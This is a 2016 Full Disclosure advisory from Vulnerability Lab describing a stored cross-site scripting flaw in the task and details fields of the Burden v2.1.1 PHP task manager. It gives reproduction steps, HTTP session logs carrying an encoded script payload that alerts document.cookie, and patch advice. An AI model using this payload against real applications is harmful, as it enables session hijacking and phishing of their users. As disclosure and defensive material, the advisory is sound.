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[FD] Burden TMA v2.1.1 - (Task) Persistent Web Vulnerability
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Burden TMA v2.1.1 - (Task) Persistent Web Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Mon, 28 Nov 2016 12:13:03 +0100
Document Title:
===============
Burden TMA v2.1.1 - (Task) Persistent Web Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1998
Release Date:
=============
2016-11-26
Vulnerability Laboratory ID (VL-ID):
====================================
1998
Common Vulnerability Scoring System:
====================================
3
Product & Service Introduction:
===============================
Burden is a full featured task management app written in PHP. The script
provides an easy way to add, edit or delete tasks.
Tasks are highlighted in different colours depending on their importance and
whether or not they are overdue. Each task can
also be marked as completed or incomplete. Full sorting and task searching is
also included. Please note Burden uses the
UK date format of DD/MM/YYYY.
(Copy of the Homepage: https://github.com/joshf/Burden/releases/2.1.1 )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered persistent input
validation web vulnerability in the Burden v2.1.1 task management application.
Vulnerability Disclosure Timeline:
==================================
2016-11-07: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Josh F.
Product: Burden - Task Management Application (CMS) 2.1.1
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the
Burden v2.1.1 task management application.
The vulnerability allows remote attackers to inject own malicious script code
to the vulnerable module or functions.
The input validation web vulnerability is located in the `task` and `detail`
parameters of the `Add` module. Remote attackers
are able to inject own malicious script code via `Add` POST method request to
manipulate the index listing of the task.
The web validation of the application list is not secure parsed and allows to
execute the malicious script codes. The injection
point are the details and task input fields and the execution point occurs in
the task list on preview.
The security risk of the vulnerability is estimated as medium with a cvss
(common vulnerability scoring system) count of 3.3.
Exploitation of the persistent validation vulnerability requires no user
interaction and a low privilege web-application user account.
Successful exploitation of the vulnerability results in session hijacking,
persistent phishing attacks, persistent external redirects
to malicious source and persistent manipulation of affected or connected
application modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Add Task
Vulnerable Parameter(s):
[+] task
[+] detail
Affected Module(s):
[+] Task List
Proof of Concept (PoC):
=======================
The persistent validation vulnerability can be exploited by local attackers
with access to the task application with low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
Inject:
http://burden.localhost:8000/burden/worker.php
Execute:
http://burden.localhost:8000/burden/index.php
Manual steps to reproduce the vulnerability ...
1. Open the task management application
2. Add a new task to the index
3. Inject a payload in the task name and details input fields and save by
processing via POST
4. Refresh the index list and the payload executes within the item list context
5. Successful reproduce of the input validation vulnerability!
PoC: Vulnerable Source
<div class="container">
<div class="page-header">
<h1>Tasks
<small>Current</small></h1></div><div class="notifications
top-right"></div><noscript><div class="alert alert-info">
<h4 class="alert-heading">Information</h4><p>Please enable JavaScript to use
Burden. For instructions on how to do this,
see <a href="http://www.activatejavascript.org"; class="alert-link"
target="_blank">here</a>.</p></div></noscript>
<ul class="list-group"><li class="list-group-item" id="1">
<span class="details" data-id="1">>"<[MALICIOUS SCRIPT CODE EXECUTION POINT
VIA TASK NAME & DETAILS INPUT]></span>
<div class="pull-right"><span class="label label-danger"
data-id="1">05-11-2016</span> <span class="edit glyphicon
glyphicon-edit" data-id="1"></span> <span class="complete glyphicon
glyphicon-ok" data-id="1"></span></div></li></ul>
<button type="button" id="launchaddmodal" class="btn
btn-default">Add</button><br><br>
<div class="alert alert-info"><button type="button" class="close"
data-dismiss="alert" aria-hidden="true">×</button>
<strong>Info:</strong> High priority tasks are highlighted yellow, completed
tasks green, tasks due today in blue and
overdue tasks red.</div>
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://burden.localhost:8000/burden/worker.php
Mime Type[text/html]
Request Header:
Host[burden.localhost:8000]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101
Firefox/49.0]
Accept[*/*]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Requested-With[XMLHttpRequest]
Referer[http://burden.localhost:8000/burden/index.php]
Cookie[burdenupdatecheck=1478378136;
g3sid=13e938f0028945d17f32c164f7a9d904f84dfe8e%7E8br7cg0v7kr8mqut1q256vq542;
_pk_id.2.bb5e=8b2f85bd26c204d7.1478373106.1.1478378139.1478373106.;
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1478373106%2C%22http%3A%2F%2Fwww.localhost:8000%2Fdemo%2F1%2F343%2FGallery%22%5D;
_pk_ses.2.bb5e=*; PHPSESSID=pau398b2k2gpsafkbh0pdhjvk7; style=light;
fpsess_fp-1e75c479=lga9cq01l07l3saacpckkch315;
sweetrice=pivnlb7shfokqhi1fdsi1s4qb3]
Connection[keep-alive]
POST-Daten:
task[%3E%22%3Cimg+src%3D%22x%22%3E%3E%22%3Ciframe+src%3Da+onload%3Dalert(document.cookie)%3E]
details[%3E%22%3Cimg+src%3D%22x%22%3E%3E%22%3Ciframe+src%3Da+onload%3Dalert(document.cookie)%3E]
due[05-11-2016]
category[none]
newcategoryforaddform[]
action[add]
Response Header:
Server[nginx/1.2.1]
Content-Type[text/html]
Connection[keep-alive]
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
-
Status: 200[OK]
GET http://burden.localhost:8000/burden/index.php
Mime Type[text/html]
Request Header:
Host[burden.localhost:8000]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101
Firefox/49.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Referer[http://burden.localhost:8000/burden/settings.php]
Cookie[burdenupdatecheck=1478378136;
g3sid=13e938f0028945d17f32c164f7a9d904f84dfe8e%7E8br7cg0v7kr8mqut1q256vq542;
_pk_id.2.bb5e=8b2f85bd26c204d7.1478373106.1.1478378139.1478373106.;
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1478373106%2C%22http%3A%2F%2Fwww.localhost:8000%2Fdemo%2F1%2F343%2FGallery%22%5D;
_pk_ses.2.bb5e=*; PHPSESSID=pau398b2k2gpsafkbh0pdhjvk7; style=light;
fpsess_fp-1e75c479=lga9cq01l07l3saacpckkch315;
sweetrice=pivnlb7shfokqhi1fdsi1s4qb3]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
Cache-Control[max-age=0]
Response Header:
Server[nginx/1.2.1]
Content-Type[text/html]
Transfer-Encoding[chunked]
Connection[keep-alive]
X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
Set-Cookie[burdenupdatecheck=1478378168; expires=Sat; Max-Age=604800]
-
Status: 200[OK]
GET http://burden.localhost:8000/burden/x[MALICIOUS EXECUTION POINT!]
Mime Type[text/html]
Request Header:
Host[burden.localhost:8000]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101
Firefox/49.0]
Accept[*/*]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://burden.localhost:8000/burden/index.php]
Cookie[burdenupdatecheck=1478378168;
g3sid=13e938f0028945d17f32c164f7a9d904f84dfe8e%7E8br7cg0v7kr8mqut1q256vq542;
_pk_id.2.bb5e=8b2f85bd26c204d7.1478373106.1.1478378139.1478373106.;
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1478373106%2C%22http%3A%2F%2Fwww.localhost:8000%2Fdemo%2F1%2F343%2FGallery%22%5D;
_pk_ses.2.bb5e=*; PHPSESSID=pau398b2k2gpsafkbh0pdhjvk7; style=light;
fpsess_fp-1e75c479=lga9cq01l07l3saacpckkch315;
sweetrice=pivnlb7shfokqhi1fdsi1s4qb3]
DNT[1]
Connection[keep-alive]
Response Header:
Server[nginx/1.2.1]
Content-Type[text/html; charset=iso-8859-1]
Transfer-Encoding[chunked]
Connection[keep-alive]
Reference(s):
http://burden.localhost:8000/
http://burden.localhost:8000/burden/
http://burden.localhost:8000/burden/index.php
http://burden.localhost:8000/burden/worker.php
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse of the task and details
parameters in the add to create post method request.
Disallow the usage of special chars and filter the input to prevent further
injection attacks. Encode the output location to
prevent the execution point of the issue to resolve the vulnerability.
Security Risk:
==============
The security risk of the persistent input validation vulnerability in the tma
web-application is estimated as medium. (CVSS 3.3)
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)
Disclaimer & Information:
=========================
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